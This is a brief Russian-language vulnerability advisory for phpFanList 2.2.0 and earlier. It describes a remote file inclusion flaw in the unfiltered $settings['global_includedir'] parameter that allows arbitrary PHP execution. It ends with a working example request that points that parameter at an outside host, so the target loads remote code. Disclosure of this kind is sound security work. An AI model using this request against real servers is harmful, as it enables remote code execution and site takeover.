Программа: phpFanList 2.2.0 и более ранние версии
Уязвимость существует из-за
недостаточной фильтрации входных данных в
переменной $settings['global_includedir']. Удаленный
пользователь может с помощью специально
сформированного запроса выполнить
произвольный PHP сценарий на целевой системе
с привилегиями Web севера.
Пример:
http://www.xxx.com/phpfanlist/g_includes/admin.inc.php? action=edit&settings[global_includedir]=http://my.ru/
